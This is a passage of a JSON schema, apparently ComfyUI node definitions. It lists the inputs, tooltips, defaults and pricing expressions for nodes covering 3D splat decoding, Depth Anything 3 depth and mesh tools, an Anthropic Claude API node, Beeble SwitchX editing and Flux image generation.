false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "VAEDecodeTripoSplat": {"input": {"required": {"samples": ["LATENT", {}], "vae": ["VAE", {"tooltip": "TripoSplat VAE decoder"}], "num_gaussians": ["INT", {"tooltip": "Number of gaussians to produce (rounded to a multiple of 32). 262144 matches the octree's point density; higher oversamples the same points (denser, but no new detail) and costs proportionally more VRAM/time.", "default": 262144, "min": 32768, "max": 1048576, "step": 32}], "seed": ["INT", {"tooltip": "Seeds the octree point sampler (global RNG) for deterministic decodes.", "default": 0, "min": 0, "max": 18446744073709551615}]}}, "input_order": {"required": ["samples", "vae", "num_gaussians", "seed"]}, "is_input_list": false, "output": ["SPLAT"], "output_is_list": [false], "output_name": ["splat"], "output_tooltips": [null], "output_matchtypes": null, "name": "VAEDecodeTripoSplat", "display_name": "TripoSplat Decode", "description": "Decode the sampled TripoSplat latent into a 3D gaussian splat. Modify the number of gaussians to vary the density.", "python_module": "comfy_extras.nodes_triposplat", "category": "3d/latent", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "TripoSplatSamplingPreview": {"input": {"required": {"model": ["MODEL", {}], "vae": ["VAE", {"tooltip": "TripoSplat VAE decoder"}], "octree_level": ["INT", {"tooltip": "Octree depth for the preview decode (lower = cheaper/coarser).", "advanced": true, "default": 5, "min": 2, "max": 8}], "num_gaussians": ["INT", {"tooltip": "Number of gaussians to produce for the preview (rounded to a multiple of 32).", "default": 16384, "min": 1024, "max": 262144, "step": 32}], "yaw": ["FLOAT", {"tooltip": "Preview camera yaw in degrees.", "advanced": true, "default": 90.0, "min": -360.0, "max": 360.0, "step": 1.0}], "pitch": ["FLOAT", {"tooltip": "Preview camera pitch in degrees.", "advanced": true, "default": 15.0, "min": -89.0, "max": 89.0, "step": 1.0}], "point_size": ["INT", {"tooltip": "Maximum splat radius in pixels. Each gaussian is sized from its scale and capped here; lower = finer/pointier, higher = chunkier.", "default": 3, "min": 1, "max": 16}]}}, "input_order": {"required": ["model", "vae", "octree_level", "num_gaussians", "yaw", "pitch", "point_size"]}, "is_input_list": false, "output": ["MODEL"], "output_is_list": [false], "output_name": ["MODEL"], "output_tooltips": [null], "output_matchtypes": null, "name": "TripoSplatSamplingPreview", "display_name": "TripoSplat Sampling Preview", "description": "Patch the TripoSplat model for the standard Ksampler node to show a live decoded gaussian splat preview at each step.", "python_module": "comfy_extras.nodes_triposplat", "category": "3d/latent", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "LoadDA3Model": {"input": {"required": {"model_name": ["COMBO", {"multiselect": false, "options": []}], "weight_dtype": ["COMBO", {"default": "default", "multiselect": false, "options": ["default", "fp16", "bf16", "fp32"]}]}}, "input_order": {"required": ["model_name", "weight_dtype"]}, "is_input_list": false, "output": ["DA3_MODEL"], "output_is_list": [false], "output_name": ["DA3_MODEL"], "output_tooltips": [null], "output_matchtypes": null, "name": "LoadDA3Model", "display_name": "Load Depth Anything 3", "description": "", "python_module": "comfy_extras.nodes_depth_anything_3", "category": "model/loaders", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "DA3Inference": {"input": {"required": {"da3_model": ["DA3_MODEL", {}], "image": ["IMAGE", {}], "resolution": ["INT", {"tooltip": "Resolution the model runs at (longest side, multiple of 14).\nLower = faster / less VRAM.\nHigher = more detail.\nOutput is upsampled back to the original size.", "default": 504, "min": 140, "max": 2520, "step": 14}], "resize_method": ["COMBO", {"tooltip": "upper_bound_resize: scale so the longest side = resolution (caps memory, default).\nlower_bound_resize: scale so the shortest side = resolution (preserves more detail on tall/wide images, uses more memory).", "default": "upper_bound_resize", "multiselect": false, "options": ["upper_bound_resize", "lower_bound_resize"]}], "mode": ["COMFY_DYNAMICCOMBO_V3", {"tooltip": "mono: single view image (works with any model variant).\nmultiview: all images processed together for geometric consistency + camera pose (for Small/Base models only).", "options": [{"key": "mono", "inputs": {"required": {}}}, {"key": "multiview", "inputs": {"required": {"ref_view_strategy": ["COMBO", {"tooltip": "Which view acts as the geometric anchor.\n- saddle_balanced: the view most 'average' across all others (best general choice).\n- saddle_sim_range: the view most visually distinct from the others.\n- first / middle: fixed positional picks.", "default": "saddle_balanced", "multiselect": false, "options": ["saddle_balanced", "saddle_sim_range", "first", "middle"]}], "pose_method": ["COMBO", {"tooltip": "How the camera field-of-view is estimated (for Small/Base models only).\n- cam_dec: learned from image features.\n- ray_pose: derived geometrically from the model's 3D ray output.\nAffects perspective correctness of the 3D output. Try both if results look distorted.", "default": "cam_dec", "multiselect": false, "options": ["cam_dec", "ray_pose"]}]}}}]}]}}, "input_order": {"required": ["da3_model", "image", "resolution", "resize_method", "mode"]}, "is_input_list": false, "output": ["DA3_GEOMETRY"], "output_is_list": [false], "output_name": ["da3_geometry"], "output_tooltips": ["Dictionary of non-normalized tensors.\nAlways has the keys: depth, image, mode.\nOptional keys: sky (for Mono/Metric), confidence (for Small/Base), extrinsics + intrinsics (for multi-view)."], "output_matchtypes": null, "name": "DA3Inference", "display_name": "Run Depth Anything 3", "description": "Run Depth Anything 3 on an image. In multi-view mode each image is treated as a separate view of the same scene.", "python_module": "comfy_extras.nodes_depth_anything_3", "category": "image/geometry estimation", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["depth", "geometry", "da3", "depth anything", "monocular", "pointmap", "sky", "3d", "metric depth", "disparity"], "essentials_category": null, "has_intermediate_output": false}, "DA3Render": {"input": {"required": {"da3_geometry": ["DA3_GEOMETRY", {}], "output": ["COMFY_DYNAMICCOMBO_V3", {"tooltip": "- depth: normalised greyscale depth image.\n- depth_colored: depth mapped through the Turbo colormap.\n- sky_mask: sky probability in [0, 1] (for Mono/Metric models only).\n- confidence: normalised depth confidence (for Small/Base models only).", "options": [{"key": "depth", "inputs": {"required": {"normalization": ["COMBO", {"tooltip": "- v2_style: mean/std normalisation for perceptually balanced results (default).\n- min_max: stretches the full depth range to [0, 1] for maximum contrast.\n- raw: no scaling,preserves metric units for Metric model.", "default": "v2_style", "multiselect": false, "options": ["v2_style", "min_max", "raw"]}], "apply_sky_clip": ["BOOLEAN", {"tooltip": "Clip sky-region depth to the 99th percentile of foreground depth before normalisation. Requires a sky key in the da3_geometry input (for Mono/Metric models only).", "default": false}]}}}, {"key": "depth_colored", "inputs": {"required": {"normalization": ["COMBO", {"tooltip": "- v2_style: mean/std normalisation for perceptually balanced results (default).\n- min_max: stretches the full depth range to [0, 1] for maximum contrast.\n- raw: no scaling,preserves metric units for Metric model.", "default": "v2_style", "multiselect": false, "options": ["v2_style", "min_max", "raw"]}], "apply_sky_clip": ["BOOLEAN", {"tooltip": "Clip sky-region depth to the 99th percentile of foreground depth before normalisation. Requires a sky key in the da3_geometry input (for Mono/Metric models only).", "default": false}]}}}, {"key": "sky_mask", "inputs": {"required": {"colored": ["BOOLEAN", {"tooltip": "Apply the Turbo colormap to the sky mask.", "default": false}]}}}, {"key": "confidence", "inputs": {"required": {"colored": ["BOOLEAN", {"tooltip": "Apply the Turbo colormap to the confidence map.", "default": false}]}}}]}]}}, "input_order": {"required": ["da3_geometry", "output"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "DA3Render", "display_name": "Render Depth Anything 3", "description": "Render a depth map, confidence map, or sky mask from Depth Anything 3 geometry data.", "python_module": "comfy_extras.nodes_depth_anything_3", "category": "image/geometry estimation", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "DA3GeometryToMesh": {"input": {"required": {"da3_geometry": ["DA3_GEOMETRY", {}], "batch_index": ["INT", {"tooltip": "Which image of a batch to convert. Per-image vertex counts differ so batches cannot be stacked.", "default": 0, "min": 0, "max": 4096}], "decimation": ["INT", {"tooltip": "Vertex stride. 1 = full resolution, 2 = half, etc.", "default": 1, "min": 1, "max": 8}], "discontinuity_threshold": ["FLOAT", {"tooltip": "Drop triangles whose 3x3 depth span exceeds this fraction. 0 = off.", "default": 0.04, "min": 0.0, "max": 1.0, "step": 0.01}], "confidence_threshold": ["FLOAT", {"tooltip": "Exclude pixels whose per-image normalised confidence is below this value (0 = keep all, 1 = keep only the single most confident pixel). Used when the geometry has a confidence map (Small/Base models).", "default": 0.1, "min": 0.0, "max": 1.0, "step": 0.01}], "use_sky_mask": ["BOOLEAN", {"tooltip": "Exclude sky-probability pixels (sky >= 0.5) from the mesh. Used when the geometry has a sky map (Mono/Metric models).", "default": true}], "texture": ["BOOLEAN", {"tooltip": "Use the source image as a base color texture.", "default": true}]}}, "input_order": {"required": ["da3_geometry", "batch_index", "decimation", "discontinuity_threshold", "confidence_threshold", "use_sky_mask", "texture"]}, "is_input_list": false, "output": ["MESH"], "output_is_list": [false], "output_name": ["MESH"], "output_tooltips": [null], "output_matchtypes": null, "name": "DA3GeometryToMesh", "display_name": "Convert DA3 Geometry to Mesh", "description": "Convert a depth map into a triangulated 3D mesh.", "python_module": "comfy_extras.nodes_depth_anything_3", "category": "image/geometry estimation", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["da3", "depth anything", "mesh", "geometry", "3d", "triangulate"], "essentials_category": null, "has_intermediate_output": false}, "SeedNode": {"input": {"required": {"seed": ["INT", {"min": 0, "max": 9223372036854775807, "control_after_generate": "fixed"}]}}, "input_order": {"required": ["seed"]}, "is_input_list": false, "output": ["INT"], "output_is_list": [false], "output_name": ["seed"], "output_tooltips": [null], "output_matchtypes": null, "name": "SeedNode", "display_name": "Seed", "description": "", "python_module": "comfy_extras.nodes_seed", "category": "utilities", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["seed", "random"], "essentials_category": null, "has_intermediate_output": false}, "ClaudeNode": {"input": {"required": {"prompt": ["STRING", {"tooltip": "Text input to the model.", "default": "", "multiline": true}], "model": ["COMFY_DYNAMICCOMBO_V3", {"tooltip": "The Claude model used to generate the response.", "options": [{"key": "Opus 4.7", "inputs": {"required": {"max_tokens": ["INT", {"tooltip": "Maximum number of tokens to generate (includes reasoning tokens when enabled).", "advanced": true, "default": 32768, "min": 4096, "max": 64000}], "temperature": ["FLOAT", {"tooltip": "Controls randomness. 0.0 is deterministic, 1.0 is most random. Ignored for Opus 4.7 and any model when reasoning_effort is set.", "advanced": true, "default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "reasoning_effort": ["COMBO", {"tooltip": "Extended thinking effort. 'off' disables reasoning.", "advanced": true, "default": "off", "multiselect": false, "options": ["off", "low", "medium", "high"]}]}}}, {"key": "Opus 4.6", "inputs": {"required": {"max_tokens": ["INT", {"tooltip": "Maximum number of tokens to generate (includes reasoning tokens when enabled).", "advanced": true, "default": 32768, "min": 4096, "max": 64000}], "temperature": ["FLOAT", {"tooltip": "Controls randomness. 0.0 is deterministic, 1.0 is most random. Ignored for Opus 4.7 and any model when reasoning_effort is set.", "advanced": true, "default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "reasoning_effort": ["COMBO", {"tooltip": "Extended thinking effort. 'off' disables reasoning.", "advanced": true, "default": "off", "multiselect": false, "options": ["off", "low", "medium", "high"]}]}}}, {"key": "Sonnet 4.6", "inputs": {"required": {"max_tokens": ["INT", {"tooltip": "Maximum number of tokens to generate (includes reasoning tokens when enabled).", "advanced": true, "default": 32768, "min": 4096, "max": 64000}], "temperature": ["FLOAT", {"tooltip": "Controls randomness. 0.0 is deterministic, 1.0 is most random. Ignored for Opus 4.7 and any model when reasoning_effort is set.", "advanced": true, "default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "reasoning_effort": ["COMBO", {"tooltip": "Extended thinking effort. 'off' disables reasoning.", "advanced": true, "default": "off", "multiselect": false, "options": ["off", "low", "medium", "high"]}]}}}, {"key": "Sonnet 4.5", "inputs": {"required": {"max_tokens": ["INT", {"tooltip": "Maximum number of tokens to generate (includes reasoning tokens when enabled).", "advanced": true, "default": 32768, "min": 4096, "max": 64000}], "temperature": ["FLOAT", {"tooltip": "Controls randomness. 0.0 is deterministic, 1.0 is most random. Ignored for Opus 4.7 and any model when reasoning_effort is set.", "advanced": true, "default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "reasoning_effort": ["COMBO", {"tooltip": "Extended thinking effort. 'off' disables reasoning.", "advanced": true, "default": "off", "multiselect": false, "options": ["off", "low", "medium", "high"]}]}}}, {"key": "Haiku 4.5", "inputs": {"required": {"max_tokens": ["INT", {"tooltip": "Maximum number of tokens to generate (includes reasoning tokens when enabled).", "advanced": true, "default": 32768, "min": 4096, "max": 64000}], "temperature": ["FLOAT", {"tooltip": "Controls randomness. 0.0 is deterministic, 1.0 is most random. Ignored for Opus 4.7 and any model when reasoning_effort is set.", "advanced": true, "default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}]}}}]}], "seed": ["INT", {"tooltip": "Seed controls whether the node should re-run; results are non-deterministic regardless of seed.", "default": 0, "min": 0, "max": 2147483647, "control_after_generate": true}], "images": ["COMFY_AUTOGROW_V3", {"tooltip": "Optional image(s) to use as context for the model. Up to 20 images.", "template": {"input": {"required": {"image": ["IMAGE", {}]}}, "names": ["image_1", "image_2", "image_3", "image_4", "image_5", "image_6", "image_7", "image_8", "image_9", "image_10", "image_11", "image_12", "image_13", "image_14", "image_15", "image_16", "image_17", "image_18", "image_19", "image_20"], "min": 0}}]}, "optional": {"system_prompt": ["STRING", {"tooltip": "Foundational instructions that dictate the model's behavior.", "advanced": true, "default": "", "multiline": true}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["prompt", "model", "seed", "images"], "optional": ["system_prompt"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["STRING"], "output_is_list": [false], "output_name": ["STRING"], "output_tooltips": [null], "output_matchtypes": null, "name": "ClaudeNode", "display_name": "Anthropic Claude", "description": "Generate text responses with Anthropic's Claude models. Provide a text prompt and optionally one or more images for multimodal context.", "python_module": "comfy_api_nodes.nodes_anthropic", "category": "partner/text/Anthropic", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "model", "type": "COMFY_DYNAMICCOMBO_V3"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $m := widgets.model;\n $contains($m, \"opus\") ? {\n \"type\": \"list_usd\",\n \"usd\": [0.005, 0.025],\n \"format\": { \"approximate\": true, \"separator\": \"-\", \"suffix\": \" per 1K tokens\" }\n }\n : $contains($m, \"sonnet\") ? {\n \"type\": \"list_usd\",\n \"usd\": [0.003, 0.015],\n \"format\": { \"approximate\": true, \"separator\": \"-\", \"suffix\": \" per 1K tokens\" }\n }\n : $contains($m, \"haiku\") ? {\n \"type\": \"list_usd\",\n \"usd\": [0.001, 0.005],\n \"format\": { \"approximate\": true, \"separator\": \"-\", \"suffix\": \" per 1K tokens\" }\n }\n : {\"type\":\"text\", \"text\":\"Token-based\"}\n )\n "}, "search_aliases": null, "essentials_category": "Text Generation", "has_intermediate_output": false}, "BeebleSwitchXVideoEdit": {"input": {"required": {"video": ["VIDEO", {}], "prompt": ["STRING", {"tooltip": "Text description of the desired output (max 2000 chars). At least one of 'prompt' or 'reference_image' is required.", "default": "", "multiline": true}], "alpha_mode": ["COMFY_DYNAMICCOMBO_V3", {"tooltip": "Controls how SwitchX decides what to keep vs. regenerate. 'auto' isolates the main subject automatically. 'fill' regenerates the entire frame while preserving geometry. 'select' propagates a first-frame keyframe across the clip. 'custom' uses a per-frame alpha matte you provide.", "options": [{"key": "auto", "inputs": {"required": {}}}, {"key": "fill", "inputs": {"required": {}}}, {"key": "select", "inputs": {"required": {"alpha_keyframe": ["MASK", {"tooltip": "First-frame keyframe mask. Beeble propagates this across the video."}]}}}, {"key": "custom", "inputs": {"required": {"alpha_mask": ["MASK", {"tooltip": "Per-frame grayscale mask covering the entire video. Must have the same frame count as the source. Connect a MASK output from SAM3_TrackToMask or similar."}]}}}]}], "max_resolution": ["COMBO", {"tooltip": "Maximum output resolution.", "default": "1080p", "multiselect": false, "options": ["1080p", "720p"]}], "seed": ["INT", {"tooltip": "Seed controls whether the node should re-run; results are non-deterministic regardless of seed.", "default": 0, "min": 0, "max": 2147483647, "control_after_generate": true}]}, "optional": {"reference_image": ["IMAGE", {"tooltip": "Reference image whose look (background, lighting, costume) the result should adopt. At least one of 'reference_image' or 'prompt' is required."}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["video", "prompt", "alpha_mode", "max_resolution", "seed"], "optional": ["reference_image"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO", "VIDEO"], "output_is_list": [false, false], "output_name": ["video", "alpha"], "output_tooltips": [null, "The alpha matte Beeble used. Empty for 'fill' mode, which has no separate matte."], "output_matchtypes": null, "name": "BeebleSwitchXVideoEdit", "display_name": "Beeble SwitchX Video Edit", "description": "Edit a video with Beeble SwitchX. Switches anything in the scene (background, lighting, costume) while preserving the original subject's pixels and motion. Provide a reference image and/or text prompt to describe the new look. Max 240 frames, max ~2.77MP per frame.", "python_module": "comfy_api_nodes.nodes_beeble", "category": "partner/video/Beeble", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "max_resolution", "type": "COMBO"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $rate := widgets.max_resolution = \"1080p\" ? 0.429 : 0.143;\n {\"type\":\"usd\",\"usd\": $rate, \"format\":{\"suffix\":\"/30 frames\"}}\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "BeebleSwitchXImageEdit": {"input": {"required": {"image": ["IMAGE", {}], "prompt": ["STRING", {"tooltip": "Text description of the desired output (max 2000 chars). At least one of 'prompt' or 'reference_image' is required.", "default": "", "multiline": true}], "alpha_mode": ["COMFY_DYNAMICCOMBO_V3", {"tooltip": "Controls how SwitchX decides what to keep vs. regenerate. 'auto' isolates the main subject automatically. 'fill' regenerates the entire frame while preserving geometry. 'select' propagates a first-frame keyframe across the clip. 'custom' uses a per-frame alpha matte you provide.", "options": [{"key": "auto", "inputs": {"required": {}}}, {"key": "fill", "inputs": {"required": {}}}, {"key": "select", "inputs": {"required": {"alpha_keyframe": ["MASK", {"tooltip": "Grayscale keyframe mask."}]}}}, {"key": "custom", "inputs": {"required": {"alpha_mask": ["MASK", {"tooltip": "Grayscale mask to apply."}]}}}]}], "max_resolution": ["COMBO", {"tooltip": "Maximum output resolution.", "default": "1080p", "multiselect": false, "options": ["1080p", "720p"]}], "seed": ["INT", {"tooltip": "Seed controls whether the node should re-run; results are non-deterministic regardless of seed.", "default": 0, "min": 0, "max": 2147483647, "control_after_generate": true}]}, "optional": {"reference_image": ["IMAGE", {"tooltip": "Reference image whose look (background, lighting, costume) the result should adopt. At least one of 'reference_image' or 'prompt' is required."}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["image", "prompt", "alpha_mode", "max_resolution", "seed"], "optional": ["reference_image"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["IMAGE", "MASK"], "output_is_list": [false, false], "output_name": ["image", "alpha"], "output_tooltips": [null, "The alpha matte Beeble used. Empty for 'fill' mode, which has no separate matte."], "output_matchtypes": null, "name": "BeebleSwitchXImageEdit", "display_name": "Beeble SwitchX Image Edit", "description": "Edit a single image with Beeble SwitchX. Switches anything in the scene (background, lighting, costume) while preserving the original subject's pixels. Provide a reference image and/or text prompt to describe the new look. Max ~2.77MP.", "python_module": "comfy_api_nodes.nodes_beeble", "category": "partner/image/Beeble", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "max_resolution", "type": "COMBO"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $rate := widgets.max_resolution = \"1080p\" ? 0.429 : 0.143;\n {\"type\":\"usd\",\"usd\": $rate}\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "FluxProUltraImageNode": {"input": {"required": {"prompt": ["STRING", {"tooltip": "Prompt for the image generation", "default": "", "multiline": true}], "prompt_upsampling": ["BOOLEAN", {"tooltip": "Whether to perform upsampling on the prompt. If active, automatically modifies the prompt for more creative generation, but results are nondeterministic (same seed will not produce exactly the same result).", "advanced": true, "default": false}], "seed": ["INT", {"tooltip": "The random seed used for creating the noise.", "default": 0, "min": 0, "max": 18446744073709551615, "control_after_generate": true}], "aspect_ratio": ["STRING", {"tooltip": "Aspect ratio of image; must be between 1:4 and 4:1.", "default": "16:9", "multiline": false}], "raw": ["BOOLEAN", {"tooltip": "When True, generate less processed, more natural-looking images.", "default": false}]}, "optional": {"image_prompt": ["IMAGE", {}], "image_prompt_strength": ["FLOAT", {"tooltip": "Blend between the prompt and the image prompt.", "default": 0.1, "min": 0.0, "max": 1.0, "step": 0.01}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["prompt", "prompt_upsampling", "seed", "aspect_ratio", "raw"], "optional": ["image_prompt", "image_prompt_strength"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "FluxProUltraImageNode", "display_name": "Flux 1.1 [pro] Ultra Image", "description": "Generates images using Flux Pro 1.1 Ultra via api based on prompt and resolution.", "python_module": "comfy_api_nodes.nodes_bfl", "category": "partner/image/BFL", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [], "inputs": [], "input_groups": []}, "expr": "{\"type\":\"usd\",\"usd\":0.06}"}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "FluxKontextProImageNode": {"input": {"required": {"prompt": ["STRING", {"tooltip": "Prompt for the image generation - specify what and how to edit.", "default": "", "multiline": true}], "aspect_ratio": ["STRING", {"tooltip": "Aspect ratio of image; must be between 1:4 and 4:1.", "default": "16:9", "multiline": false}], "guidance": ["FLOAT", {"tooltip": "Guidance strength for the image generation process", "default": 3.0, "min": 0.1, "max": 99.0, "step": 0.1}], "steps": ["INT", {"tooltip": "Number of steps for the image generation process", "default": 50, "min": 1, "max": 150}], "seed": ["INT", {"tooltip": "The random seed used for creating the noise.", "default": 1234, "min": 0, "max": 18446744073709551615, "control_after_generate": true}], "prompt_upsampling": ["BOOLEAN", {"tooltip": "Whether to perform upsampling on the prompt. If active, automatically modifies the prompt for more creative generation, but results are nondeterministic (same seed will not produce exactly the same result).", "advanced": true, "default": false}]}, "optional": {"input_image": ["IMAGE", {}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["prompt", "aspect_ratio", "guidance", "steps", "seed", "prompt_upsampling"], "optional": ["input_image"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "FluxKontextProImageNode", "display_name": "Flux.1 Kontext [pro] Image", "description": "Edits images using Flux.1 Kontext [pro] via api based on prompt and aspect ratio.", "python_module": "comfy_api_nodes.nodes_bfl", "category": "partner/image/BFL", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "FluxKontextMaxImageNode": {"input": {"required": {"prompt": ["STRING", {"tooltip": "Prompt for the image generation - specify what and how to edit.", "default": "", "multiline": true}], "aspect_ratio": ["STRING", {"tooltip": "Aspect ratio of image; must be between 1:4 and 4:1.", "default": "16:9", "multiline": false}], "guidance": ["FLOAT", {"tooltip": "Guidance strength for the image generation process", "default": 3.0, "min": 0.1, "max": 99.0, "step": 0.1}], "steps": ["INT", {"tooltip": "Number of steps for the image generation process", "default": 50, "min": 1, "max": 150}], "seed": ["INT", {"tooltip": "The random seed used for creating the noise.", "default": 1234, "min": 0, "max": 18446744073709551615, "control_after_generate": true}], "prompt_upsampling": ["BOOLEAN", {"tooltip": "Whether to perform upsampling on the prompt. If active, automatically modifies the prompt for more creative generation, but results are nondeterministic (same seed will not produce exactly the same result).", "advanced": true, "default": false}]}, "optional": {"input_image": ["IMAGE", {}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["prompt", "aspect_ratio", "guidance", "steps", "seed", "prompt_upsampling"], "optional": ["input_image"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "FluxKontextMaxImageNode", "display_name": "Flux.1 Kontext [max] Image", "description": "Edits images using Flux.1 Kontext [pro] via api based on prompt and aspect ratio.", "python_module": "comfy_api_nodes.nodes_bfl", "category": "partner/image/BFL", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "FluxProExpandNode": {"input": {"required": {"image": ["IMAGE", {}], "prompt": ["STRING", {"tooltip": "Prompt for the image generation", "default": "", "multiline": true}], "prompt_upsampling": ["BOOLEAN", {"tooltip": "Whether to perform upsampling on the prompt. If active, automatically modifies the prompt for more creative generation, but results are nondeterministic (same seed will not produce exactly the same result).", "advanced": true, "default": false}], "top": ["INT", {"tooltip": "Number of pixels to expand at the top of the image", "default": 0, "min": 0, "max": 2048}], "bottom": ["INT", {"tooltip": "Number of pixels to expand at the bottom of the image", "default": 0, "min": 0, "max": 2048}], "left": ["INT", {"tooltip": "Number of pixels to expand at the left of the image", "default": 0, "min": 0, "max": 2048}], "right": ["INT", {"tooltip": "Number of pixels to expand at the right of the image", "default": 0, "min": 0, "max": 2048}], "guidance": ["FLOAT", {"tooltip": "Guidance strength for the image generation process", "default": 60, "min": 1.5, "max": 100}], "steps": ["INT", {"tooltip": "Number of steps for the image generation process", "default": 50, "min": 15, "max": 50}], "seed": ["INT", {"tooltip": "The random seed used for creating the noise.", "default": 0, "min": 0, "max": 18446744073709551615, "control_after_generate": true}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["image", "prompt", "prompt_upsampling", "top", "bottom", "left", "right", "guidance", "steps", "seed"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "FluxProExpandNode", "display_name": "Flux.1 Expand Image", "description": "Outpaints image based on prompt.", "python_module": "comfy_api_nodes.nodes_bfl", "category": "partner/image/BFL", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [], "inputs": [], "input_groups": []}, "expr": "{\"type\":\"usd\",\"usd\":0.05}"}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "FluxProFillNode": {"input": {"required": {"image": ["IMAGE", {}], "mask": ["MASK", {}], "prompt": ["STRING", {"tooltip": "Prompt for the image generation", "default": "", "multiline": true}], "prompt_upsampling": ["BOOLEAN", {"tooltip": "Whether to perform upsampling on the prompt. If active, automatically modifies the prompt for more creative generation, but results are nondeterministic (same seed will not produce exactly the same result).", "advanced": true, "default": false}], "guidance": ["FLOAT", {"tooltip": "Guidance strength for the image generation process", "default": 60, "min": 1.5, "max": 100}], "steps": ["INT", {"tooltip": "Number of steps for the image generation process", "default": 50, "min": 15, "max": 50}], "seed": ["INT", {"tooltip": "The random seed used for creating the noise.", "default": 0, "min": 0, "max": 